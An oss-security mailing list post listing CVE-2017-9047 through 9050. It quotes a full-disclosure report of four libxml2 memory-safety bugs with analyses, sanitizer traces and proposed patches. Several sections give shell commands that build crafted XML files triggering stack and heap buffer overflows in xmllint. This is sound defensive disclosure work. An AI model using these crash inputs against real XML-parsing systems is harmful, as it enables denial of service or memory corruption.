[prev in list] [next in list] [prev in thread] [next in thread] 

List:       oss-security
Subject:    [oss-security] Re: Invalid writes and reads in libxml2
From:       Manh Dung Nguyen <dungnguy () comp ! nus ! edu ! sg>
Date:       2017-05-22 3:15:19
Message-ID: CALLhTwOhKKsnqDD0k7FMX_=zV+r-wDpGuNPN+FoeU8_Qd6nzzQ () mail ! gmail ! com
[Download RAW message or body]


Dear All,

Please find below the CVEs that have been assigned by MITRE.

1) BUG 781333 - STACK OVERFLOW IN VALID.C: *CVE-2017-9047*
https://bugzilla.gnome.org/show_bug.cgi?id=781333

2) BUG 781701 - ANOTHER STACK OVERFLOW in VALID.C: *CVE-2017-9048*
https://bugzilla.gnome.org/show_bug.cgi?id=781701

3) BUG 781205 - HEAP-BASED BUFFER OVERFLOW IN xmlDictComputeFastKey:
*CVE-2017-9049*
https://bugzilla.gnome.org/show_bug.cgi?id=781205

4) BUG 781361 - HEAP-BASED BUFFER OVERFLOW IN xmlDictAddString:
*CVE-2017-9050*
https://bugzilla.gnome.org/show_bug.cgi?id=781361

Thanks,
Manh Dung



On 15 May 2017 at 12:57, Marcel Böhme <boehme.marcel@gmail.com> wrote:

> Dear all,
>
> In a fuzzing session with AFLGo, a directed version of AFL/AFLFast, we
> found four crashers (two invalid writes and two invalid reads) in LibXML2.
> These were reported to the maintainers one month ago. We provided analysis
> and patches and sent several email-reminders, explaining our intend to
> disclose, but there has been no response. The bug reports are currently not
> public. So, in the spirit of full disclosure, we attach the bug reports
> with analysis and patches here. Using the record of this email, we are
> going to request CVEs from MITRE.
>
> We can reproduce these vulns in the DOM-validator of PHP (
> https://bugs.php.net/bug.php?id=74459) and recommend to apply the patches
> provided below to prevent exploitation. Patches were checked against the
> regression test suite of PHP and LibXML2. However, these patches have *not*
> been reviewed, yet.
>
> Credits for finding, analysing, and patching the errors go to Marcel Böhme
> and Van-Thuan Pham of TSUNAMi Security Research Centre, National University
> of Singapore.
> We thank Manh-Dung Nguyen for preparing this disclosure notice.
>
> +++++++++++++++++++++++++++++++++++++++++++++++
> +  1) BUG 781333 - STACK OVERFLOW IN VALID.C
> +  https://bugzilla.gnome.org/show_bug.cgi?id=781333
> +++++++++++++++++++++++++++++++++++++++++++++++
>
> Here is a quick analysis:
> The function xmlSnprintfElementContent in valid.c is supposed to
> recursively dump the element content definition into a char buffer 'buf' of
> size 'size'. The variable len is assigned strlen(buf). If the content->type
> is XML_ELEMENT_CONTENT_ELEMENT, then (i) the content->prefix is appended to
> buf (if it actually fits) whereupon (ii) content->name is written to the
> buffer. However, the check whether the content->name actually fits also
> uses 'len' rather than the updated buffer length strlen(buf). This allows
> us to write about "size" many bytes beyond the allocated memory.
>
> $ ./xmllint --version
> /src/libxml2/.libs/lt-xmllint: using libxml version
> 20904-GITv2.9.4-16-g0741801
>   compiled with: Threads Tree Output Push Reader Patterns Writer SAXv1 FTP
> HTTP DTDValid HTML Legacy C14N Catalog XPath XPointer XInclude Iconv
> ISO8859X Unicode Regexps Automata Expr Schemas Schematron Modules Debug
>
> How to reproduce:
> $ s=$(printf "%-757s" "0")
> $ t=$(printf "%-4924s" "0")
> $ echo '<!DOCTYPEa[<!ELEMENT a (F'"${s// /0}:${t// /0}"')><!ATTLIST
> a><!ELEMENT b EMPTY><!ATTLIST b s CDATA #IMPLIED>]><a/>' > bug1.xml
> $ ./xmllint --valid bug1.xml
> =================================================================
> ==17183==ERROR: AddressSanitizer: stack-buffer-overflow on address
> 0x7fffb66dac88 at pc 0x7f2daa004f13 bp 0x7fffb66d9820 sp 0x7fffb66d9818
> WRITE of size 4925 at 0x7fffb66dac88 thread T0
>    #0 0x7f2daa004f12 in xmlSnprintfElementContent__internal_alias
> /src/libxml2/valid.c:1323:9
>    #1 0x7f2daa039d58 in xmlValidateElementContent
> /src/libxml2/valid.c:5445:6
>    #2 0x7f2daa039d58 in xmlValidateOneElement__internal_alias
> /src/libxml2/valid.c:6152
>    #3 0x7f2daa49b106 in xmlSAX2EndElementNs__internal_alias
> /src/libxml2/SAX2.c:2467:24
>    #4 0x7f2da9f1a4ca in xmlParseElement__internal_alias
> /src/libxml2/parser.c:10212:3
>    #5 0x7f2da9f33758 in xmlParseDocument__internal_alias
> /src/libxml2/parser.c:10962:2
>    #6 0x7f2da9f622f5 in xmlDoRead /src/libxml2/parser.c:15445:5
>    #7 0x7f2da9f622f5 in xmlCtxtReadFile__internal_alias
> /src/libxml2/parser.c:15690
>    #8 0x521133 in parseAndPrintFile /src/libxml2/xmllint.c:2391:9
>    #9 0x5184cd in main /src/libxml2/xmllint.c:3772:7
>    #10 0x7f2da8eb382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.
> so.6+0x2082f)
>    #11 0x41d2b8 in _start (/src/libxml2/.libs/lt-xmllint+0x41d2b8)
>
> Address 0x7fffb66dac88 is located in stack of thread T0 at offset 5128 in
> frame
>    #0 0x7f2daa032e5f in xmlValidateOneElement__internal_alias
> /src/libxml2/valid.c:5943
>
> This frame has 5 object(s):
>     [32, 82) 'fn.i' (line 5288)
>     [128, 5128) 'expr.i' (line 5441)
>     [5392, 10392) 'list.i' (line 5442) <== Memory access at offset 5128
> partially underflows this variable
>     [10656, 10660) 'extsubset' (line 5950)
>     [10672, 10722) 'fn' (line 6063)
>
> PATCHED BY:
> --- a/valid.c
> +++ a/valid.c
> @@ -1270,6 +1270,7 @@ xmlSnprintfElementContent(char *buf, int size,
> xmlElementContentPtr content, int
>                 }
>                 strcat(buf, (char *) content->prefix);
>                 strcat(buf, ":");
> +               len += xmlStrlen(content->prefix);
>             }
>             if (size - len < xmlStrlen(content->name) + 10) {
>                 strcat(buf, " ...");
>
> +++++++++++++++++++++++++++++++++++++++++++++++
> +  BUG 781701 - ANOTHER STACK OVERFLOW in VALID.C
> +  https://bugzilla.gnome.org/show_bug.cgi?id= 781701
> +++++++++++++++++++++++++++++++++++++++++++++++
>
> Here is a quick analysis:
> The bug is related to but different from Bug 781333. Function
> xmlSnprintfElementContent in valid.c is supposed to recursively dump the
> element content definition into a char buffer 'buf' of size 'size'. At the
> end of the routine, the function may strcat two more characters without
> checking whether the current strlen(buf) + 2 < size.
>
> $ ./xmllint --version
> /src/libxml2/.libs/lt-xmllint: using libxml version
> 20904-GITv2.9.4-16-g0741801
>   compiled with: Threads Tree Output Push Reader Patterns Writer SAXv1 FTP
> HTTP DTDValid HTML Legacy C14N Catalog XPath XPointer XInclude Iconv
> ISO8859X Unicode Regexps Automata Expr Schemas Schematron Modules Debug
>
> How to reproduce:
> $ ./xmllint --valid bug2.xml
> ==112703==ERROR: AddressSanitizer: stack-buffer-overflow on address
> 0x7ffeff6f3428 at pc 0x7fd88f824d3c bp 0x7ffeff6f1fb0 sp 0x7ffeff6f1fa8
> WRITE of size 2 at 0x7ffeff6f3428 thread T0
>    #0 0x7fd88f824d3b in xmlSnprintfElementContent__internal_alias
> /src/libxml2/valid.c
>    #1 0x7fd88f859b8d in xmlValidateElementContent
> /src/libxml2/valid.c:5447:6
>    #2 0x7fd88f859b8d in xmlValidateOneElement__internal_alias
> /src/libxml2/valid.c:6154
>    #3 0x7fd89031cd6c in xmlSAX2EndElementNs__internal_alias
> /src/libxml2/SAX2.c:2467:24
>    #4 0x7fd88f63b242 in xmlParseEndTag2 /src/libxml2/parser.c:9930:2
>    #5 0x7fd88f5fec12 in xmlParseElement__internal_alias
> /src/libxml2/parser.c:10292:2
>    #6 0x7fd88f654709 in xmlParseDocument__internal_alias
> /src/libxml2/parser.c:10966:2
>    #7 0x7fd88f6d3647 in xmlDoRead /src/libxml2/parser.c:15449:5
>    #8 0x7fd88f6d3647 in xmlCtxtReadFile__internal_alias
> /src/libxml2/parser.c:15694
>    #9 0x559158 in parseAndPrintFile /src/libxml2/xmllint.c:2391:9
>    #10 0x54b0e4 in main /src/libxml2/xmllint.c:3772:7
>    #11 0x7fd88e40b82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.
> so.6+0x2082f)
>    #12 0x41d0b8 in _start (/src/libxml2/.libs/lt-xmllint+0x41d0b8)
>
> Address 0x7ffeff6f3428 is located in stack of thread T0 at offset 5128 in
> frame
>    #0 0x7fd88f852c6f in xmlValidateOneElement__internal_alias
> /src/libxml2/valid.c:5945
>
>  This frame has 5 object(s):
>    [32, 82) 'fn.i' (line 5290)
>    [128, 5128) 'expr.i' (line 5443) <== Memory access at offset 5128
> overflows this variable
>    [5392, 10392) 'list.i' (line 5444)
>    [10656, 10660) 'extsubset' (line 5952)
>    [10672, 10722) 'fn' (line 6065)
> HINT: this may be a false positive if your program uses some custom
> stack unwind mechanism or swapcontext
>      (longjmp and C++ exceptions *are* supported)
> SUMMARY: AddressSanitizer: stack-buffer-overflow /src/libxml2/valid.c
> in xmlSnprintfElementContent__internal_alias
>
> PATCHED BY:
> --- a/valid.c
> +++ a/valid.c
> @@ -1320,6 +1320,7 @@ xmlSnprintfElementContent(char *buf, int size,
> xmlElementContentPtr content, int
>                 xmlSnprintfElementContent(buf, size, content->c2, 0);
>             break;
>      }
> +    if (size - strlen(buf) <= 2) return;
>      if (englob)
>          strcat(buf, ")");
>      switch (content->ocur) {
>
> +++++++++++++++++++++++++++++++++++++++++++++++
> +  BUG 781205 - HEAP-BASED BUFFER OVERFLOW IN xmlDictComputeFastKey (NEW)
> +  https://bugzilla.gnome.org/show_bug.cgi?id= 781205
> +++++++++++++++++++++++++++++++++++++++++++++++
>
> We understand that a similar bug report (non-public) was filed before:
> https://bugzilla.gnome.org/show_bug.cgi?id=759398
> and fixed about a year ago in git revision 45752d2:
> https://github.com/GNOME/libxml2/commit/45752d2c334b50016666d8f0ec3691
> e2d680f0a0
>
> However, the patch was apparently incomplete.
>
> How to reproduce with xmllint:
> $ ./xmllint --version
> /src/libxml2/.libs/lt-xmllint: using libxml version
> 20904-GITv2.9.4-16-g0741801
>   compiled with: Threads Tree Output Push Reader Patterns Writer SAXv1 FTP
> HTTP DTDValid HTML Legacy C14N Catalog XPath XPointer XInclude Iconv
> ISO8859X Unicode Regexps Automata Expr Schemas Schematron Modules Debug
>
>
> $ printf "%s\x0d%s\x0da\x09%s" '<?l?><!DOCTYPED[<!ENTITY' '%'
> '"<:0000">%a;' > bug3.xml
> $ ./xmlint --memory --oldxml10 bug3.xml
>
> ASAN says (for libxml2 in trunk):
> =================================================================
> ==18512==ERROR: AddressSanitizer: heap-buffer-overflow on address
> 0x60200000020f at pc 0x7fb731bca172 bp 0x7ffe8fe8cd10 sp 0x7ffe8fe8cd08
> READ of size 1 at 0x60200000020f thread T0
>    #0 0x7fb731bca171 in xmlDictComputeFastKey /src/libxml2/dict.c:448:13
>    #1 0x7fb731bca171 in xmlDictLookup__internal_alias
> /src/libxml2/dict.c:851
>    #2 0x7fb7315f7760 in xmlParseNameComplex /src/libxml2/parser.c
>    #3 0x7fb7315f7760 in xmlParseName__internal_alias
> /src/libxml2/parser.c:3487
>    #4 0x7fb7316afe66 in xmlParseQName /src/libxml2/parser.c:8900:10
>    #5 0x7fb7316691c5 in xmlParseStartTag2 /src/libxml2/parser.c:9419:17
>    #6 0x7fb7316643dc in xmlParseElement__internal_alias
> /src/libxml2/parser.c:10179:16
>    #7 0x7fb73167f758 in xmlParseDocument__internal_alias
> /src/libxml2/parser.c:10962:2
>    #8 0x7fb7316ac7ac in xmlDoRead /src/libxml2/parser.c:15445:5
>    #9 0x7fb7316aceb4 in xmlReadMemory__internal_alias
> /src/libxml2/parser.c:15531:13
>    #10 0x5214c0 in parseAndPrintFile /src/libxml2/xmllint.c:2371:9
>    #11 0x5184cd in main /src/libxml2/xmllint.c:3772:7
>    #12 0x7fb7305ff82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.
> so.6+0x2082f)
>    #13 0x41d2b8 in _start (/src/libxml2/.libs/lt-xmllint+0x41d2b8)
>
> 0x60200000020f is located 1 bytes to the left of 6-byte region
> [0x602000000210,0x602000000216)
> allocated by thread T0 here:
>    #0 0x4d8018 in malloc /src/llvm/projects/compiler-
> rt/lib/asan/asan_malloc_linux.cc:66
>    #1 0x7fb7315f9fe3 in xmlNewBlanksWrapperInputStream
> /src/libxml2/parser.c:2477:14
>    #2 0x7fb731642dd6 in xmlParsePEReference__internal_alias
> /src/libxml2/parser.c:8122:14
>    #3 0x7fb73164218b in xmlParseMarkupDecl__internal_alias
> /src/libxml2/parser.c:7031:2
>    #4 0x7fb731680e66 in xmlParseInternalSubset /src/libxml2/parser.c:8482:6
>    #5 0x7fb73167eec4 in xmlParseDocument__internal_alias
> /src/libxml2/parser.c:10930:6
>    #6 0x7fb7316ac7ac in xmlDoRead /src/libxml2/parser.c:15445:5
>    #7 0x7fb7316aceb4 in xmlReadMemory__internal_alias
> /src/libxml2/parser.c:15531:13
>    #8 0x5214c0 in parseAndPrintFile /src/libxml2/xmllint.c:2371:9
>    #9 0x5184cd in main /src/libxml2/xmllint.c:3772:7
>    #10 0x7fb7305ff82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.
> so.6+0x2082f)
>
> SUMMARY: AddressSanitizer: heap-buffer-overflow /src/libxml2/dict.c:448:13
> in xmlDictComputeFastKey
>
> Valgrind says (for my installed version of xmllint)
> $  xmllint --version
> xmllint: using libxml version 20903
>   compiled with: Threads Tree Output Push Reader Patterns Writer SAXv1 FTP
> HTTP DTDValid HTML Legacy C14N Catalog XPath XPointer XInclude Iconv
> ISO8859X Unicode Regexps Automata Expr Schemas Schematron Modules Debug
> Zlib Lzma
>
> ==38641== Invalid read of size 1
> ==38641==    at 0x4F75CE8: xmlDictLookup (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E7C523: xmlParseName (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8503C: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E852EB: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8CE2E: xmlParseElement (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8D949: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E947BD: xmlReadMemory (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x111F98: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x521582F: (below main) (libc-start.c:291)
> ==38641==  Address 0x8303e7f is 1 bytes before a block of size 6 alloc'd
> ==38641==    at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_
> memcheck-amd64-linux.so)
> ==38641==    by 0x4E75FCB: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8871F: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E88954: xmlParseMarkupDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==38641==    by 0x4E89214: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8DB4E: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E947BD: xmlReadMemory (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x111F98: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x521582F: (below main) (libc-start.c:291)
> ==38641==
> ==38641== Invalid read of size 1
> ==38641==    at 0x4C32758: memcpy@@GLIBC_2.14 (in
> /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
> ==38641==    by 0x4F74FBD: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4F75C3C: xmlDictLookup (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E7C523: xmlParseName (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8503C: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E852EB: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8CE2E: xmlParseElement (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8D949: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E947BD: xmlReadMemory (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x111F98: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x521582F: (below main) (libc-start.c:291)
> ==38641==  Address 0x8303e7f is 1 bytes before a block of size 6 alloc'd
> ==38641==    at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_
> memcheck-amd64-linux.so)
> ==38641==    by 0x4E75FCB: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8871F: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E88954: xmlParseMarkupDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==38641==    by 0x4E89214: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E8DB4E: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x4E947BD: xmlReadMemory (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==38641==    by 0x111F98: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==38641==    by 0x521582F: (below main) (libc-start.c:291)
> ==38641==
>
> PATCHED BY:
> --- a/parser.c
> +++ a/parser.c
> @@ -3312,6 +3312,7 @@ xmlParseNameComplex(xmlParserCtxtPtr ctxt) {
>      int len = 0, l;
>      int c;
>      int count = 0;
> +    size_t startPosition = 0;
>
>  #ifdef DEBUG
>      nbParseNameComplex++;
> @@ -3323,6 +3324,7 @@ xmlParseNameComplex(xmlParserCtxtPtr ctxt) {
>      GROW;
>      if (ctxt->instate == XML_PARSER_EOF)
>          return(NULL);
> +    startPosition = CUR_PTR - BASE_PTR;
>      c = CUR_CHAR(l);
>      if ((ctxt->options & XML_PARSE_OLD10) == 0) {
>          /*
> @@ -3420,9 +3422,11 @@ xmlParseNameComplex(xmlParserCtxtPtr ctxt) {
>          xmlFatalErr(ctxt, XML_ERR_NAME_TOO_LONG, "Name");
>          return(NULL);
>      }
> -    if ((*ctxt->input->cur == '\n') && (ctxt->input->cur[-1] == '\r'))
> -        return(xmlDictLookup(ctxt->dict, ctxt->input->cur - (len + 1),
> len));
> -    return(xmlDictLookup(ctxt->dict, ctxt->input->cur - len, len));
> +
> +    if (BASE_PTR + startPosition + len > ctxt->input->end)
> +      return(NULL);
> +
> +    return(xmlDictLookup(ctxt->dict, BASE_PTR + startPosition, len));
>  }
>
>  /**
>
> +++++++++++++++++++++++++++++++++++++++++++++++
> +  BUG 781361 - HEAP-BASED BUFFER OVERFLOW IN xmlDictAddString
> +  https://bugzilla.gnome.org/show_bug.cgi?id= 781361
> +++++++++++++++++++++++++++++++++++++++++++++++
>
> Again, we understand that a similar bug report was filed before:
> https://bugzilla.gnome.org/show_bug.cgi?id=758605 (CVE-2016-1839)
> and fixed about a year ago in git revision a820dbe:
> https://git.gnome.org/browse/libxml2/commit/?id=
> a820dbeac29d330bae4be05d9ecd939ad6b4aa33
>
> However, this patch was apparently incomplete, as well.
>
> LIBXML version:
> $ ./xmllint --version
> /src/libxml2/.libs/lt-xmllint: using libxml version
> 20904-GITv2.9.4-16-g0741801
>   compiled with: Threads Tree Output Push Reader Patterns Writer SAXv1 FTP
> HTTP DTDValid HTML Legacy C14N Catalog XPath XPointer XInclude Iconv
> ISO8859X Unicode Regexps Automata Expr Schemas Schematron Modules Debug
>
> How to reproduce:
> $ ./xmllint --oldxml10 bug4.xml
>
> ASAN says:
> =================================================================
> ==44604==ERROR: AddressSanitizer: heap-buffer-overflow on address
> 0x603000000030 at pc 0x0000004c1685 bp 0x7ffc15d12290 sp
> 0x7ffc15d11a40
> READ of size 109 at 0x603000000030 thread T0
>    #0 0x4c1684 in __asan_memcpy /src/llvm/projects/compiler-
> rt/lib/asan/asan_interceptors.cc:455
>    #1 0x7fa6e0af4b91 in xmlDictAddString /src/libxml2/dict.c:285:5
>    #2 0x7fa6e0af4b91 in xmlDictLookup__internal_alias
> /src/libxml2/dict.c:926
>    #3 0x7fa6e0522740 in xmlParseNameComplex /src/libxml2/parser.c
>    #4 0x7fa6e0522740 in xmlParseName__internal_alias
> /src/libxml2/parser.c:3487
>    #5 0x7fa6e056afe6 in xmlParseElementDecl__internal_alias
> /src/libxml2/parser.c:6718:16
>    #6 0x7fa6e056d4f0 in xmlParseMarkupDecl__internal_alias
> /src/libxml2/parser.c:6997:4
>    #7 0x7fa6e05abe66 in xmlParseInternalSubset /src/libxml2/parser.c:8482:6
>    #8 0x7fa6e05a9ec4 in xmlParseDocument__internal_alias
> /src/libxml2/parser.c:10930:6
>    #9 0x7fa6e05d7bd8 in xmlDoRead /src/libxml2/parser.c:15445:5
>    #10 0x7fa6e05d7bd8 in xmlReadFile__internal_alias
> /src/libxml2/parser.c:15507
>    #11 0x521ac8 in parseAndPrintFile /src/libxml2/xmllint.c:2408:9
>    #12 0x51872d in main /src/libxml2/xmllint.c:3775:7
>    #13 0x7fa6df52a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.
> so.6+0x2082f)
>    #14 0x41d2b8 in _start (/src/libxml2/.libs/lt-xmllint+0x41d2b8)
>
> 0x603000000030 is located 0 bytes to the right of 32-byte region
> [0x603000000010,0x603000000030)
> allocated by thread T0 here:
>    #0 0x4d8018 in malloc /src/llvm/projects/compiler-
> rt/lib/asan/asan_malloc_linux.cc:66
>    #1 0x7fa6e0af4c73 in xmlDictLookup__internal_alias
> /src/libxml2/dict.c:932:10
>    #2 0x7fa6e05793b8 in xmlDetectSAX2 /src/libxml2/parser.c:1078:24
>    #3 0x7fa6e05a8a44 in xmlParseDocument__internal_alias
> /src/libxml2/parser.c:10844:5
>    #4 0x7fa6e05d7bd8 in xmlDoRead /src/libxml2/parser.c:15445:5
>    #5 0x7fa6e05d7bd8 in xmlReadFile__internal_alias
> /src/libxml2/parser.c:15507
>    #6 0x521ac8 in parseAndPrintFile /src/libxml2/xmllint.c:2408:9
>    #7 0x51872d in main /src/libxml2/xmllint.c:3775:7
>    #8 0x7fa6df52a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.
> so.6+0x2082f)
>
>
> For the version of libxml that comes pre-installed on Ubuntu 16.04:
> $ xmllint --version
> xmllint: using libxml version 20903
>   compiled with: Threads Tree Output Push Reader Patterns Writer SAXv1 FTP
> HTTP DTDValid HTML Legacy C14N Catalog XPath XPointer XInclude Iconv
> ISO8859X Unicode Regexps Automata Expr Schemas Schematron Modules Debug
> Zlib Lzma
>
> VALGRIND says:
> ==146420== ERROR SUMMARY: 216 errors from 2 contexts (suppressed: 0 from 0)
> ==146420==
> ==146420== 54 errors in context 1 of 2:
> ==146420== Invalid read of size 1
> ==146420==    at 0x4C32758: memcpy@@GLIBC_2.14 (in
> /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
> ==146420==    by 0x4F74FBD: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4F75C3C: xmlDictLookup (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E7C523: xmlParseName (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E83B1F: xmlParseElementDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E889F4: xmlParseMarkupDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E89214: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E8DB4E: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E944FF: xmlReadFile (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x111EA3: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x521582F: (below main) (libc-start.c:291)
> ==146420==  Address 0x830d378 is 0 bytes after a block of size 104 alloc'd
> ==146420==    at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_
> memcheck-amd64-linux.so)
> ==146420==    by 0x4E735E1: xmlNewInputStream (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E75FA3: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E8871F: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E88954: xmlParseMarkupDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E89214: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E8DB4E: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E944FF: xmlReadFile (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x111EA3: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x521582F: (below main) (libc-start.c:291)
> ==146420==
> ==146420==
> ==146420== 162 errors in context 2 of 2:
> ==146420== Invalid read of size 1
> ==146420==    at 0x4C32766: memcpy@@GLIBC_2.14 (in
> /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
> ==146420==    by 0x4F74FBD: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4F75C3C: xmlDictLookup (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E7C523: xmlParseName (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E83B1F: xmlParseElementDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E889F4: xmlParseMarkupDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E89214: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E8DB4E: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E944FF: xmlReadFile (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x111EA3: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x521582F: (below main) (libc-start.c:291)
> ==146420==  Address 0x830d379 is 1 bytes after a block of size 104 alloc'd
> ==146420==    at 0x4C2DB8F: malloc (in /usr/lib/valgrind/vgpreload_
> memcheck-amd64-linux.so)
> ==146420==    by 0x4E735E1: xmlNewInputStream (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E75FA3: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E8871F: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E88954: xmlParseMarkupDecl (in
> /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.3)
> ==146420==    by 0x4E89214: ??? (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E8DB4E: xmlParseDocument (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x4E944FF: xmlReadFile (in /usr/lib/x86_64-linux-gnu/
> libxml2.so.2.9.3)
> ==146420==    by 0x111EA3: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x10EDFE: ??? (in /usr/bin/xmllint)
> ==146420==    by 0x521582F: (below main) (libc-start.c:291)
> ==146420==
> ==146420== ERROR SUMMARY: 216 errors from 2 contexts (suppressed: 0 from 0)
>
> PATCHED BY:
> --- a/parser.c
> +++ a/parser.c
> @@ -3312,6 +3312,7 @@ xmlParseNameComplex(xmlParserCtxtPtr ctxt) {
>      int len = 0, l;
>      int c;
>      int count = 0;
> +    size_t startPosition = 0;
>
>  #ifdef DEBUG
>      nbParseNameComplex++;
> @@ -3323,6 +3324,7 @@ xmlParseNameComplex(xmlParserCtxtPtr ctxt) {
>      GROW;
>      if (ctxt->instate == XML_PARSER_EOF)
>          return(NULL);
> +    startPosition = CUR_PTR - BASE_PTR;
>      c = CUR_CHAR(l);
>      if ((ctxt->options & XML_PARSE_OLD10) == 0) {
>          /*
> @@ -3420,9 +3422,11 @@ xmlParseNameComplex(xmlParserCtxtPtr ctxt) {
>          xmlFatalErr(ctxt, XML_ERR_NAME_TOO_LONG, "Name");
>          return(NULL);
>      }
